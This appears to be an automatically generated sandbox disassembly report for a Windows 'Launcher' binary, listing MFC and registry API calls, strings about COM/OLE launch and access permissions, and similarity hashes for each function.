Part of subcall function 0067C0BC: RegCloseKey.ADVAPI32(?), ref: 0067C151
Part of subcall function 0067C0BC: #800.MFC42U ref: 0067C15F

SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0066C78D
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 0066C79D
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 0066C7A9
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0066C7B8
#2634.MFC42U(00000001,?,?,?,?), ref: 0066C7C8
#2634.MFC42U(00000001,00000001,?,?,?,?), ref: 0066C7D4

Strings

AccessPermission, xrefs: 0066C751

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#2634lstrcat$#540#800CloseH_prolog3_OpenQueryValuewsprintf
String ID: AccessPermission
API String ID: 1928919276-2751749857
Opcode ID: 9c623a9e4e1d8e7fd8398d50aaf1df98c721fc8857053d896851ef0227313e0f
Instruction ID: 3d798493cf3660cb22ac9bb7f715bcac7825e03ebbdd19ed2b5bcdbec5513d8b
Opcode Fuzzy Hash: 9c623a9e4e1d8e7fd8398d50aaf1df98c721fc8857053d896851ef0227313e0f
Instruction Fuzzy Hash: 1521CFB050061AFFEB24AF70CC89EEBBB7EEF45354F0182A8B519A6151DB715D44CBA0

Function 0066D6B6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066D6BD
#364.MFC42U(0000007A,00000008,0066D2DA,00000004), ref: 0066D6C9

Part of subcall function 0066C4B6: __EH_prolog3.LIBCMT ref: 0066C4BD
Part of subcall function 0066C4B6: #324.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C4CE
Part of subcall function 0066C4B6: #567.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C4E5
Part of subcall function 0066C4B6: #567.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C500
Part of subcall function 0066C4B6: #567.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C516
Part of subcall function 0066C4B6: #567.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C52C

Part of subcall function 006709D5: __EH_prolog3.LIBCMT ref: 006709DC
Part of subcall function 006709D5: #324.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 006709ED
Part of subcall function 006709D5: #567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A04
Part of subcall function 006709D5: #567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A1F
Part of subcall function 006709D5: #567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A35
Part of subcall function 006709D5: #567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A4B
Part of subcall function 006709D5: #567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A61

Part of subcall function 0066F346: __EH_prolog3.LIBCMT ref: 0066F34D
Part of subcall function 0066F346: #324.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F35E
Part of subcall function 0066F346: #567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F375
Part of subcall function 0066F346: #567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F38F
Part of subcall function 0066F346: #567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F3AA
Part of subcall function 0066F346: #567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F3C0
Part of subcall function 0066F346: #567.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F3DA
Part of subcall function 0066F346: #540.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F3EF
Part of subcall function 0066F346: #540.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F400
Part of subcall function 0066F346: #540.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F40F
Part of subcall function 0066F346: #540.MFC42U(0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F420
Part of subcall function 0066F346: #861.MFC42U(006621A0,0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F436
Part of subcall function 0066F346: #861.MFC42U(006621A0,006621A0,0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F442
Part of subcall function 0066F346: #861.MFC42U(006621A0,006621A0,006621A0,0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F453
Part of subcall function 0066F346: #861.MFC42U(006621A0,006621A0,006621A0,006621A0,0000008B,00000000,00000008,0066D701,0000007A,00000008,0066D2DA,00000004), ref: 0066F45F

Part of subcall function 0066C962: __EH_prolog3.LIBCMT ref: 0066C969
Part of subcall function 0066C962: #324.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C97A
Part of subcall function 0066C962: #567.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C991
Part of subcall function 0066C962: #567.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C9AB
Part of subcall function 0066C962: #540.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C9C2
Part of subcall function 0066C962: #540.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C9D1
Part of subcall function 0066C962: #861.MFC42U(006621A0), ref: 0066C9E8

Part of subcall function 00679485: __EH_prolog3.LIBCMT ref: 0067948C
Part of subcall function 00679485: #326.MFC42U(00000008,0066D71F,0000007A,00000008,0066D2DA,00000004), ref: 00679496
Part of subcall function 00679485: #567.MFC42U(00000008,0066D71F,0000007A,00000008,0066D2DA,00000004), ref: 006794AD

#567.MFC42U(0000007A,00000008,0066D2DA,00000004), ref: 0066D72E
#567.MFC42U(0000007A,00000008,0066D2DA,00000004), ref: 0066D748
#567.MFC42U(0000007A,00000008,0066D2DA,00000004), ref: 0066D763
#567.MFC42U(0000007A,00000008,0066D2DA,00000004), ref: 0066D779
#567.MFC42U(0000007A,00000008,0066D2DA,00000004), ref: 0066D78F

Strings

0g, xrefs: 0066D74D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #567$#540H_prolog3$#861$#324$#326#364
String ID: 0g
API String ID: 797904982-2778760150
Opcode ID: 4f3d07fed104b8202b7f0bc64381b0d6ffdee15925b9207f1775b902891d5ed9
Instruction ID: e4cfdcb5248d4dd622976aef10fe0163ee53c58115d54b6fdd05933d3120f280
Opcode Fuzzy Hash: 4f3d07fed104b8202b7f0bc64381b0d6ffdee15925b9207f1775b902891d5ed9
Instruction Fuzzy Hash: 67215170A05A5ADADB45EFA4C5123DCFBA2BF19304F50818DD48937342CB792B09CBD6

Function 006717C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006717C7
#2859.MFC42U(?,0000000C), ref: 006717CF
#538.MFC42U(QueryInterface(IID_IUnknown) failed on the data object.,?,?,?,?,0000000C), ref: 00671803

Part of subcall function 0067D91D: __EH_prolog3.LIBCMT ref: 0067D924
Part of subcall function 0067D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,0067B9B7,?,00000000,00000000,00000000), ref: 0067D942
Part of subcall function 0067D91D: #540.MFC42U ref: 0067D94F
Part of subcall function 0067D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 0067D96C
Part of subcall function 0067D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 0067D97F
Part of subcall function 0067D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D98C
Part of subcall function 0067D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D997
Part of subcall function 0067D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 0067D99F
Part of subcall function 0067D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 0067D9AA
Part of subcall function 0067D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0067DA13

#800.MFC42U(?,00000000,QueryInterface(IID_IUnknown) failed on the data object.,?,?,?,?,0000000C), ref: 00671819
#538.MFC42U(Drag and Drop Data Object,?,?,?,?,0000000C), ref: 00671828
#800.MFC42U(00000000,?,Drag and Drop Data Object,?,?,?,?,0000000C), ref: 0067184D

Strings

QueryInterface(IID_IUnknown) failed on the data object., xrefs: 006717FB
Drag and Drop Data Object, xrefs: 00671820

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#538H_prolog3$#1197#2810#2859#540#858#922FormatFreeLocalMessage
String ID: Drag and Drop Data Object$QueryInterface(IID_IUnknown) failed on the data object.
API String ID: 393685950-3430251513
Opcode ID: f92d9d3c363a5f7ef6efaf522af6502bff39aa333b077a83d3db05eb19b4b820
Instruction ID: 5b68e812468cd291028d0d537476956bf19df105abebae0d950a71a458334546
Opcode Fuzzy Hash: f92d9d3c363a5f7ef6efaf522af6502bff39aa333b077a83d3db05eb19b4b820
Instruction Fuzzy Hash: A7116031910119DBCB44EBA0C8559BEB776FF54320F20865CE6156B2E1DF316E01CB95

Function 006709D5 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006709DC
#324.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 006709ED
#567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A04
#567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A1F
#567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A35
#567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A4B
#567.MFC42U(00000087,00000000,00000008,0066D6F2,0000007A,00000008,0066D2DA,00000004), ref: 00670A61

Strings

Pg, xrefs: 00670A09

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #567$#324H_prolog3
String ID: Pg
API String ID: 3217428371-1016263835
Opcode ID: 0cda0abfc71055b4348c2f34d472204103ba10a3545f3507b9105ae4c146a200
Instruction ID: 3e1c2b059b3b4e349ebdc8faf168881c21023c794eb54fafd9dec0deda7cf317
Opcode Fuzzy Hash: 0cda0abfc71055b4348c2f34d472204103ba10a3545f3507b9105ae4c146a200
Instruction Fuzzy Hash: 0A113C71A01656DBDB45DFA484023DCBBB2BF58700F60844EE5883B382CBB51B49CBDA

Function 0066ED46 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066ED50
#498.MFC42U(00000090), ref: 0066ED5A

Part of subcall function 0066E941: __EH_prolog3.LIBCMT ref: 0066E948
Part of subcall function 0066E941: #489.MFC42U(0000008F,00000000,00000008,0066E8DA,00000004), ref: 0066E959
Part of subcall function 0066E941: #567.MFC42U(0000008F,00000000,00000008,0066E8DA,00000004), ref: 0066E973

Part of subcall function 0066E736: __EH_prolog3.LIBCMT ref: 0066E73D
Part of subcall function 0066E736: #489.MFC42U(00000090,00000000,00000008,0066E6BA,00000004), ref: 0066E74E
Part of subcall function 0066E736: #567.MFC42U(00000090,00000000,00000008,0066E6BA,00000004), ref: 0066E768

Part of subcall function 0067B460: __EH_prolog3.LIBCMT ref: 0067B467
Part of subcall function 0067B460: #489.MFC42U(0000008D,00000000,00000008,0066ED96,00000090), ref: 0067B478
Part of subcall function 0067B460: #567.MFC42U(0000008D,00000000,00000008,0066ED96,00000090), ref: 0067B492
Part of subcall function 0067B460: #567.MFC42U(0000008D,00000000,00000008,0066ED96,00000090), ref: 0067B4AD

#497.MFC42U(006621A0,?,00000000,00000090), ref: 0066EDAA
#771.MFC42U(006621A0,?,00000000,00000090), ref: 0066EDB5
#1008.MFC42U(?,006621A0,?,00000000,00000090), ref: 0066EDBD

Part of subcall function 0067D4CD: GetVersionExW.KERNEL32(?), ref: 0067D4F3

#1008.MFC42U(?,?,006621A0,?,00000000,00000090), ref: 0066EDCE
#1008.MFC42U(?,?,?,006621A0,?,00000000,00000090), ref: 0066EDDC

Strings

`f, xrefs: 0066ED6B

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #567H_prolog3$#1008#489$#497#498#771Version
String ID: `f
API String ID: 3371278394-3937696907
Opcode ID: 0fc6d0cd47c51027353e036665496c9b3a7f1bee86e0b4e7b3d3008c9b3dd9a7
Instruction ID: 0a715b7f847922b6324ef0760a1147001722bddf0e68b05c6a98182f0430979c
Opcode Fuzzy Hash: 0fc6d0cd47c51027353e036665496c9b3a7f1bee86e0b4e7b3d3008c9b3dd9a7
Instruction Fuzzy Hash: 47019234B00545EADB54FBB08855BECEBA76F48300F14C19DE40C53282CF715A0C9AAA

Function 0066C962 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066C969
#324.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C97A
#567.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C991
#567.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C9AB
#540.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C9C2
#540.MFC42U(00000085,00000000,00000008,0066C91A,00000004), ref: 0066C9D1
#861.MFC42U(006621A0), ref: 0066C9E8

Strings

Pg, xrefs: 0066C996

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #540#567$#324#861H_prolog3
String ID: Pg
API String ID: 4024192314-1016263835
Opcode ID: 4995708dd3bc5e581d4a7a622a9c742bff4f7e5244ac5e95412cc904f92f4cc6
Instruction ID: a646594e6abdae8e1ce5fb7474c6317925753126d9ca1c4e7ead5db0bafd9f45
Opcode Fuzzy Hash: 4995708dd3bc5e581d4a7a622a9c742bff4f7e5244ac5e95412cc904f92f4cc6
Instruction Fuzzy Hash: C1018470A00A57DBDB55EFA0851679CBEB27F54704F50804CE6582B282CBB41B08D7DA

Function 0066E8E0 Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0067B8D5: __EH_prolog3.LIBCMT ref: 0067B8DC
Part of subcall function 0067B8D5: LoadCursorW.USER32(00000000,00007F02), ref: 0067B8F4
Part of subcall function 0067B8D5: SetCursor.USER32(00000000), ref: 0067B8FB
Part of subcall function 0067B8D5: RegOpenKeyExW.ADVAPI32(?,?,00000000,000F003F,?), ref: 0067B911
Part of subcall function 0067B8D5: LoadCursorW.USER32(00000000,00007F00), ref: 0067B924
Part of subcall function 0067B8D5: SetCursor.USER32(00000000), ref: 0067B92B

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 0066E924

Part of subcall function 0067C0BC: __EH_prolog3_GS.LIBCMT ref: 0067C0C6
Part of subcall function 0067C0BC: #540.MFC42U(00000488,0066C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 0067C0F1
Part of subcall function 0067C0BC: RegOpenKeyExW.ADVAPI32 ref: 0067C112
Part of subcall function 0067C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067C13A
Part of subcall function 0067C0BC: RegCloseKey.ADVAPI32(?), ref: 0067C151
Part of subcall function 0067C0BC: #800.MFC42U ref: 0067C15F

Strings

Global Launch, xrefs: 0066E8EF
All classes, xrefs: 0066E8F4
DefaultLaunchPermission, xrefs: 0066E8F9
DEFAULTLAUNCHPERMISSION, xrefs: 0066E92A
Can Launch, xrefs: 0066E8EA
Cannot Launch, xrefs: 0066E8E5
SOFTWARE\MICROSOFT\OLE, xrefs: 0066E8FE, 0066E908, 0066E92F

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Cursor$LoadOpen$#540#800CloseH_prolog3H_prolog3_MessageQuerySendValue
String ID: All classes$Can Launch$Cannot Launch$DEFAULTLAUNCHPERMISSION$DefaultLaunchPermission$Global Launch$SOFTWARE\MICROSOFT\OLE
API String ID: 1128567903-2386912880
Opcode ID: 4d0e3c5c3232849d3f8606b3d5e7066e82a46d5271d61147476206f858c2ecca
Instruction ID: 42c8d698a69b878313aef11dd0e766ecac3a53890872c72cc8db478e70f5a767
Opcode Fuzzy Hash: 4d0e3c5c3232849d3f8606b3d5e7066e82a46d5271d61147476206f858c2ecca
Instruction Fuzzy Hash: DAE092723803A076D23021655C4BF876D9FDBC6F21F12041EB208B93C2CE9199008264

Function 0066E6C0 Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0067B8D5: __EH_prolog3.LIBCMT ref: 0067B8DC
Part of subcall function 0067B8D5: LoadCursorW.USER32(00000000,00007F02), ref: 0067B8F4
Part of subcall function 0067B8D5: SetCursor.USER32(00000000), ref: 0067B8FB
Part of subcall function 0067B8D5: RegOpenKeyExW.ADVAPI32(?,?,00000000,000F003F,?), ref: 0067B911
Part of subcall function 0067B8D5: LoadCursorW.USER32(00000000,00007F00), ref: 0067B924
Part of subcall function 0067B8D5: SetCursor.USER32(00000000), ref: 0067B92B

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 0066E704

Part of subcall function 0067C0BC: __EH_prolog3_GS.LIBCMT ref: 0067C0C6
Part of subcall function 0067C0BC: #540.MFC42U(00000488,0066C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 0067C0F1
Part of subcall function 0067C0BC: RegOpenKeyExW.ADVAPI32 ref: 0067C112
Part of subcall function 0067C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067C13A
Part of subcall function 0067C0BC: RegCloseKey.ADVAPI32(?), ref: 0067C151
Part of subcall function 0067C0BC: #800.MFC42U ref: 0067C15F

Strings

Global Access, xrefs: 0066E6CF
Cannot Access, xrefs: 0066E6C5
DefaultAccessPermission, xrefs: 0066E6D9
DEFAULTACCESSPERMISSION, xrefs: 0066E70A
All classes, xrefs: 0066E6D4
Can Access, xrefs: 0066E6CA
SOFTWARE\MICROSOFT\OLE, xrefs: 0066E6DE, 0066E6E8, 0066E70F

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Cursor$LoadOpen$#540#800CloseH_prolog3H_prolog3_MessageQuerySendValue
String ID: All classes$Can Access$Cannot Access$DEFAULTACCESSPERMISSION$DefaultAccessPermission$Global Access$SOFTWARE\MICROSOFT\OLE
API String ID: 1128567903-1534462617
Opcode ID: eec58c794820944e3427ef711e28e11c212dbb64665fe5faf1579b9bd1db1669
Instruction ID: 393fb8401669e293156dab978cfb8ae0b7f2c8c3401aee3418f4eb86e9303cdb
Opcode Fuzzy Hash: eec58c794820944e3427ef711e28e11c212dbb64665fe5faf1579b9bd1db1669
Instruction Fuzzy Hash: 45E092323C075172D33015624C4BF83AA5FD7C6F62F16011EB608763C2CA929A00C664

Function 0066F540 Relevance: 13.6, APIs: 9, Instructions: 56COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,000000B8,?), ref: 0066F556
#2294.MFC42U(?,000000B1,?,?,000000B8,?), ref: 0066F568
#2294.MFC42U(?,000000B2,?,?,000000B1,?,?,000000B8,?), ref: 0066F57A
#2294.MFC42U(?,000000A8,?,?,000000B2,?,?,000000B1,?,?,000000B8,?), ref: 0066F58C
#2294.MFC42U(?,00000089,?,?,000000A8,?,?,000000B2,?,?,000000B1,?,?,000000B8,?), ref: 0066F59E
#2362.MFC42U(?,000000B3,?,?,00000089,?,?,000000A8,?,?,000000B2,?,?,000000B1,?,?), ref: 0066F5B0
#2362.MFC42U(?,0000008B,?,?,000000B3,?,?,00000089,?,?,000000A8,?,?,000000B2,?,?), ref: 0066F5C2
#2362.MFC42U(?,00001FA5,?,?,0000008B,?,?,000000B3,?,?,00000089,?,?,000000A8,?,?), ref: 0066F5D4
#2362.MFC42U(?,000000A9,?,?,00001FA5,?,?,0000008B,?,?,000000B3,?,?,00000089,?,?), ref: 0066F5E6

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2294$#2362
String ID:
API String ID: 4178481822-0
Opcode ID: e58633bced6d5a45809b51faafe11d84fbc9487d8c942ae8110a08502053bd4b
Instruction ID: 9c1bad118a6d932b0b267cd0f91742533b8f224a2343a1906e3b40ab748d04ee
Opcode Fuzzy Hash: e58633bced6d5a45809b51faafe11d84fbc9487d8c942ae8110a08502053bd4b
Instruction Fuzzy Hash: 2D019272241E157AE151F660DC02FEBB35DAF0A710F80812AFB1CD60C1DBA16629C7FA

Function 00676767 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 93registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000050), ref: 00676789
RegOpenKeyW.ADVAPI32(00000000,?,?), ref: 006767AB
RegQueryValueExW.ADVAPI32(?,409,00000000,00000000,?,00000200), ref: 006767E0
wsprintfW.USER32 ref: 00676813
RegCloseKey.ADVAPI32(?), ref: 0067690C
RegCloseKey.ADVAPI32(00000000), ref: 0067691D

Strings

%s <no name>, xrefs: 00676807
409, xrefs: 006767D5

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Close$EnumOpenQueryValuewsprintf
String ID: %s <no name>$409
API String ID: 3624944744-596716345
Opcode ID: e08f1ec2d4422983598de1b5d0effb0bfa5825c6a4f0e1d6fe1454f9913281c5
Instruction ID: 18d033f14adb08e6387e2f81f607e4675bd60400b89ed427b7ae69d4b8f61e03
Opcode Fuzzy Hash: e08f1ec2d4422983598de1b5d0effb0bfa5825c6a4f0e1d6fe1454f9913281c5
Instruction Fuzzy Hash: 0E41A871A012299FDBA4DF64CC45BA9B7BABB84304F1041E9E50DE7250DB729EE4CF11

Function 0066C4B6 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066C4BD
#324.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C4CE
#567.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C4E5
#567.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C500
#567.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C516
#567.MFC42U(00000088,00000000,00000008,0066BFBA,00000004), ref: 0066C52C

Strings

Pg, xrefs: 0066C4EA

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #567$#324H_prolog3
String ID: Pg
API String ID: 3217428371-1016263835
Opcode ID: f403a7d12ab109b8bcb66d5f8b95a8752c50690a6ba22d69461a2eea12eaf32e
Instruction ID: 59feef495161b74cb4ef615e80399b0cb7dd9caeba3a54da3971435e1bdbde77
Opcode Fuzzy Hash: f403a7d12ab109b8bcb66d5f8b95a8752c50690a6ba22d69461a2eea12eaf32e
Instruction Fuzzy Hash: C2015271A01657DBEB419F94841279CFAA2BF59700F50844EE5843B341CBB51B09C7D6

Function 006779B1 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(00677AC1,InprocServer32,00000000), ref: 006779C7
RegOpenKeyW.ADVAPI32(00677AC1,InprocHandler32,00000000), ref: 006779DD
RegOpenKeyW.ADVAPI32(00677AC1,LocalServer32,00000000), ref: 006779F3
RegCloseKey.ADVAPI32(00000000,?,?,00677AC1), ref: 00677A00

Strings

InprocServer32, xrefs: 006779BF
LocalServer32, xrefs: 006779EB
InprocHandler32, xrefs: 006779D5

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
